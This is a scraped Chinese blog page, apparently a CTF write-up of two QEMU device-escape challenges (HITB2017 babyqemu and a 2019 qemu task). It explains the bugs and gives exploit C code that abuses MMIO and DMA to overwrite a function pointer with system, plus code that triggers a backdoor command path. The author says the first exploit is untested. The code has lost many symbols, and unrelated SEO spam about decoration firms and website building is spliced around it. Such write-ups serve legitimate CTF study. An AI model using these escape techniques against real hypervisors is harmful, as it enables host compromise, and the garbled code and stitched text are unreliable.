当前位置: 首页 > news >正文

网站模块图片宁波十大口碑最好的装饰公司

网站模块图片,宁波十大口碑最好的装饰公司,wordpress老网站重装法,广西人事考试网前言 由于本地环境问题#xff0c;babyqemu 环境都没有起起#xff0c;这里仅仅做记录#xff0c;exp 可能不正确。 HITB2017-babyqemu 设备逆向 设备定位啥的就不说了#xff0c;先看下实例结构体#xff1a; 其中 dma_state 结构体如下#xff1a; 这里看字段猜测…前言 由于本地环境问题babyqemu 环境都没有起起这里仅仅做记录exp 可能不正确。 HITB2017-babyqemu  设备逆向 设备定位啥的就不说了先看下实例结构体 其中 dma_state 结构体如下 这里看字段猜测跟 dma 相关然后只注册了 mmio所以直接看 mmio_read/mmio_write 吧。 这里为了方便我把函数的功能直接写出来了 hitb_mmio_read 就是去读取实例结构体中的字段。hitb_mmio_write 主要就是设置 dma 中的相关字段。 然后最重要的就是那个时钟任务了该时钟任务会在 hitb_mmio_write 函数中被触l 漏洞就在该时钟任务中  可以看到在对物理内存进行读写时并没有检查 dma.cnt 的大小并且也没有检查读取下标的范围。但是对于 dma.cnt 大小没有检查对攻击者而言是没有的因为其对应的是用户的 buf。 漏洞利用 由于没有对 idx 进行检查所以我们可以越界读取 enc 函数指针然后以此计算出 systemplt 的地址。然后利用越界写修改 enc 函数指针为 systemplt 地址并在 dma_buf 开头写上 cmd。这样当触发 enc(dma_buf) 时就可以执行任意命令。 即 exp 如下由于环境exp 没有经过验证 #include stdio.h #include stdlib.h #include fcntl.h #include stdint.h #include string.hvoid *mmio_base; void mmio_init() {int fd open(resource0_path, O_RDWR);if (fd 0) puts([X] open for mmio), exit(EXIT_FAILURE);mmio_base mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base 0) puts([X] mmap for mmio), exit(EXIT_FAILURE); }void mmio_write(uint32_t addr, uint32_t val) {*(uint32_t*)(mmio_base addr) val; }uint64_t gva_to_gpa(void *addr) {uint64_t page;int fd open(/proc/self/pagemap, O_RDONLY);if (fd 0) puts([X] open pagemap), exit(EXIT_FAILURE);lseek(fd, (((uint64_t)addr 12) 3), 0);read(fd, page, 8);if (!(page (1ULL 63))) puts([X] page not present), exit(EXIT_FAILURE);return ((page ((1ULL 55 )- 1)) 12) | ((uint64_t)addr (4095)); }void arb_read(uint64_t dst, uint32_t src, uint32_t len) {uint64_t gpa gva_to_gpa(dst);mmio_write(0x88, gpa);mmio_write(0x80, src0x40000);mmio_write(0x90, len);mmio_write(0x98, 1|2);sleep(1); }uint64_t arb_write(uint32_t dst, uint64_t src, uint32_t len) {uint64_t gpa gva_to_gpa(src);mmio_write(0x88, dst0x40000);mmio_write(0x80, gpa);mmio_write(0x90, len);mmio_write(0x98, 1);sleep(1); }void triger(uint32_t src, uint32_t len) {mmio_write(0x88, 0);mmio_write(0x80, src0x40000);mmio_write(0x90, len);mmio_write(0x98, 1|2|4);sleep(1); }int main(int argc, char** argv, char** envp) {mmio_init();uint64_t enc_addr 0;arb_read(enc_addr, 0x1000, 8);printf([] enc_addr %#p\n, enc_addr);uint64_t offset 0; // enc - system offsetuint64_t system_addr enc_addr offset;printf([] system_addr %#p\n, system_addr);char * cmd xcalc;arb_write(0x100, cmd, strlen(cmd));arb_write(0x1000, system_addr, 8);triger(0x100, 0);return 0; } 2019数字经济-qemu 用户名root无密码 该题没有符号这题其实非常简单有直接的后门。所以重在对题目的分析上面。 这题没有符号但是挺简单的白给的后门。 mmio_read 里面存在后门 但是这里有一个 check 而在 mmio_write 函数中就可以设置 checked 数组的值从而绕过 check并且还可以设置 command 的值 exp 如下 #include stdlib.h #include stdio.h #include string.h #include fcntl.h #include stdint.h #include sys/mman.hvoid * mmio_base; void mmio_init() {int fd open(/sys/devices/pci0000:00/0000:00:04.0/resource0, O_RDWR|O_SYNC);if (fd 0) puts([X] open for mmio), exit(EXIT_FAILURE);mmio_base mmap(0, 0x1000000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base 0) puts([X] mmap for mmio), exit(EXIT_FAILURE);if (mlock(mmio_base, 0x1000000) 0) puts([X] mlock for mmio), exit(EXIT_FAILURE); }void mmio_write(uint64_t opt, uint64_t idx, uint64_t val) {uint64_t addr 0;if (opt 6)addr (opt 20) | idx;elseaddr (opt 20) | (idx 16);printf(%#llx\n, addr);*(uint64_t*)(mmio_base addr) val; }int main(int argc, char** argv, char** envp) {// wwssadadBABAmmio_init();mmio_write(0, 0, 0);mmio_write(0, 1, 0);mmio_write(1, 2, 0);mmio_write(1, 3, 0);mmio_write(2, 4, 0);mmio_write(3, 5, 0);mmio_write(2, 6, 0);mmio_write(3, 7, 0);mmio_write(5, 8, 0);mmio_write(4, 9, 0);mmio_write(5, 10, 0);mmio_write(4, 11, 0);char cmd[0x8] xcalc;;mmio_write(6, 0, *(uint64_t*)cmd[0]);return *(int*)mmio_base; } xi 效果如下
http://www.pierceye.com/news/870596/

相关文章:

  • 书店网站开发目的和意义深圳网建公司
  • 餐饮网站方案wordpress 微论坛主题
  • 上海建筑网站设计多用户商城数据库设计
  • 网站做301将重定向到新域名深圳seo优化外包公司
  • 做视频导航网站有哪些天津西青区离哪个火车站近
  • 福州网站建设技术支持公司培训课程有哪些
  • 保定网站制作域名注册商查询
  • 医院网站建设公司价格低天津建设工程信息网 塘沽一中
  • 建设机械网站案例建国外网站需要多少钱
  • 比特币简易网站开发电商网站大全
  • 秀屿区建设局网站巨量广告投放平台
  • 合肥网站设计哪家公司好北京国贸网站建设公司
  • 帮人做网站怎么收费制作链接的app的软件有哪些
  • 商贸行业网站建设公司yoast wordpress seo
  • 上小学网站建设WordPress底部添加运行时间
  • 学校网站信息化建设工作心得网络营销现状分析
  • 藁城专业网站建设班级同学录网站建设
  • 北京手机网站开发公司wordpress用户列表
  • 上海 企业网站制成都营销型网站建设熊掌号
  • 无锡网站优化哪家好北京注册公司地址可以是住宅吗
  • 中国十大热门网站深圳哪做网站
  • 木渎网站建设聚美优品网站建设情况
  • 企业形象网站用什么语言开发网站优化要做哪些工作
  • 中国建设银行官网站电话号码wordpress关键词排名
  • 南通网站建设机构博物馆网站建设的根本意义
  • 食品企业网站建设中信建设有限责任公司陈晓佳
  • 中国网站服务器哪个好店名注册查询
  • 网站设计制作案例软件定制开发的发展前景
  • 中国联通网站备案小程序是什么原理
  • 企业网站建设御彩云dz做电影网站